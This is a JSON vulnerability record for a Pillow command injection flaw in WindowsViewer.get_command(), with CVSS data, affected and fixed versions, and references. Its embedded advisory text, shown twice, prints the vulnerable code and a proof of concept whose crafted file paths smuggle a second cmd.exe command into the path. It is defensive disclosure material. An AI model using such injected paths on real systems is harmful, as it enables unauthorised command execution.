{"id":"CVE-2026-55798","aliases":["BIT-pillow-2026-55798","CLSA-2026-1786515922","CLSA-2026-1787718630","CLSA-2026-1787903381","CLSA-2026-1788345043","CLSA-2026-1788863918","CLSA-2026-1790674233","EUVD-2026-41898","GHSA-4x4j-2g7c-83w6","PYSEC-2026-2257","UBUNTU-CVE-2026-55798"],"status":"published","title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","description":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","severity":{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00179,"percentile":0.07496,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-07-06T18:44:38Z","modified":"2026-10-28T02:31:06Z","fixes":[{"ecosystem":"PyPI","package":"pillow","fixed_in":["12.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"pillow","fixed_in":["12.3.0"],"sources":["osv"]},{"ecosystem":"TuxCare:PyPI","package":"pillow","fixed_in":["9.5.0.post4+tuxcare","8.4.0.post4+tuxcare","9.4.0.post6+tuxcare"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1"},{"fixed":"11.2.1.post4+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare","11.2.1.post3+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0"},{"fixed":"10.4.0.post6+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post2+tuxcare","10.4.0.post3+tuxcare","10.4.0.post4+tuxcare","10.4.0.post5+tuxcare"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0"},{"fixed":"9.5.0.post4+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare","9.5.0.post3+tuxcare"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0"},{"fixed":"8.4.0.post4+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post2+tuxcare","8.4.0.post3+tuxcare"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"fixed":"9.4.0.post6+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare","9.4.0.post5+tuxcare"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"11.3.0.post5+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare"],"bundled":14},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]}],"products":[{"vendor":"python","product":"pillow"},{"vendor":"python-pillow","product":"pillow"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","tags":["x_refsource_MISC","Release Notes","article","web","advisory","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798","tags":["web","advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-4x4j-2g7c-83w6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55798.json","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-55798","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55798","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-55798","title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","description":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T18:44:38.441Z","modified":"2026-07-07T15:19:40.072Z","cvss":[{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-41898","description":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T18:44:38Z","modified":"2026-07-07T15:19:40Z","cvss":[{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T18:20:11.925616Z"}],"ghsa":[{"id":"GHSA-4x4j-2g7c-83w6","title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","description":"### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `\u0026` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n    format = \"PNG\"\n    options = {\"compress_level\": 1, \"save_all\": True}\n\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        return (\n            f'start \"Pillow\" /WAIT \"{file}\" '    # ← f-string, no escaping\n            \"\u0026\u0026 ping -n 4 127.0.0.1 \u003eNUL \"\n            f'\u0026\u0026 del /f \"{file}\"'                # ← same path, unescaped again\n        )\n\n    def show_file(self, path: str, **options: Any) -\u003e int:\n        if not os.path.exists(path):\n            raise FileNotFoundError\n        subprocess.Popen(\n            self.get_command(path, **options),\n            shell=True,                          # ← shell=True\n            creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n        )  # nosec                               # ← Bandit warning suppressed manually\n        return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        command = \"open -a Preview.app\"\n        command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})\u0026\"\n        return command                           # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows  | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\" \u0026\u0026 ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\"   → fails (file not found)\n# ├─ \u0026 echo PWNED                           → INJECTED COMMAND\n# └─ \u0026 echo \"\"  \u0026\u0026 ping ...                → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker  = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload   = f'echo REAL_INJECTED \u003e \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" \u0026 {payload} \u0026 echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker)                          # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read()          # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---","status":"published","published":"2026-07-20T21:14:14Z","modified":"2026-07-20T21:14:14Z","cvss":[{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:47.245721Z"}],"nvd":[{"id":"CVE-2026-55798","description":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T19:17:08.83Z","modified":"2026-10-25T20:10:00.147Z","cvss":[{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:28.040501Z"}],"osv":[{"id":"CVE-2026-55798","title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","description":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T18:44:38.441Z","modified":"2026-10-28T02:31:06.974379355Z","cvss":[{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:11.609219Z"},{"id":"GHSA-4x4j-2g7c-83w6","title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","description":"### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `\u0026` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n    format = \"PNG\"\n    options = {\"compress_level\": 1, \"save_all\": True}\n\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        return (\n            f'start \"Pillow\" /WAIT \"{file}\" '    # ← f-string, no escaping\n            \"\u0026\u0026 ping -n 4 127.0.0.1 \u003eNUL \"\n            f'\u0026\u0026 del /f \"{file}\"'                # ← same path, unescaped again\n        )\n\n    def show_file(self, path: str, **options: Any) -\u003e int:\n        if not os.path.exists(path):\n            raise FileNotFoundError\n        subprocess.Popen(\n            self.get_command(path, **options),\n            shell=True,                          # ← shell=True\n            creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n        )  # nosec                               # ← Bandit warning suppressed manually\n        return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        command = \"open -a Preview.app\"\n        command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})\u0026\"\n        return command                           # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows  | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\" \u0026\u0026 ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\"   → fails (file not found)\n# ├─ \u0026 echo PWNED                           → INJECTED COMMAND\n# └─ \u0026 echo \"\"  \u0026\u0026 ping ...                → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker  = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload   = f'echo REAL_INJECTED \u003e \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" \u0026 {payload} \u0026 echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker)                          # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read()          # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---","status":"published","published":"2026-07-20T21:14:14Z","modified":"2026-09-10T03:51:10.324377232Z","cvss":[{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:37.528068Z"},{"id":"PYSEC-2026-2257","description":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T19:17:08.83Z","modified":"2026-07-13T07:26:48.229039344Z","cvss":[{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2026-55798","description":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","status":"withdrawn","published":"2026-07-06T19:17:00Z","modified":"2026-09-21T21:39:46.914450901Z","cvss":[{"version":"3.1","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"BIT-pillow-2026-55798","title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","description":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-08T11:34:13.482Z","modified":"2026-09-08T08:48:18.513567729Z","updated_at":"2026-11-02T15:28:34.724063Z"},{"id":"CLSA-2026-1786515922","title":"TuxCare security update for pillow (9 CVEs)","description":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.","status":"published","published":"2026-08-12T06:25:22Z","modified":"2026-10-15T09:48:05.294046428Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1787718630","title":"TuxCare security update for pillow (3 CVEs)","description":"TuxCare rebuilt pillow to address 3 CVEs. Fixed in 10.4.0.post6+tuxcare.","status":"published","published":"2026-08-26T04:30:30Z","modified":"2026-10-15T09:48:05.741653976Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1787903381","title":"TuxCare security update for pillow (1 CVE)","description":"TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.5.0.post4+tuxcare.","status":"published","published":"2026-08-28T07:49:41Z","modified":"2026-10-15T09:48:05.84980296Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1788345043","title":"TuxCare security update for pillow (1 CVE)","description":"TuxCare rebuilt pillow to address 1 CVE. Fixed in 8.4.0.post4+tuxcare.","status":"published","published":"2026-09-02T10:30:43Z","modified":"2026-10-15T09:48:01.239726726Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1788863918","title":"TuxCare security update for pillow (1 CVE)","description":"TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.4.0.post6+tuxcare.","status":"published","published":"2026-09-08T10:38:38Z","modified":"2026-10-15T09:48:01.264226562Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1790674233","title":"TuxCare security update for pillow (14 CVEs)","description":"TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.","status":"published","published":"2026-09-29T09:30:33Z","modified":"2026-10-15T09:48:02.144374386Z","updated_at":"2026-11-02T15:43:48.65893Z"}]}}
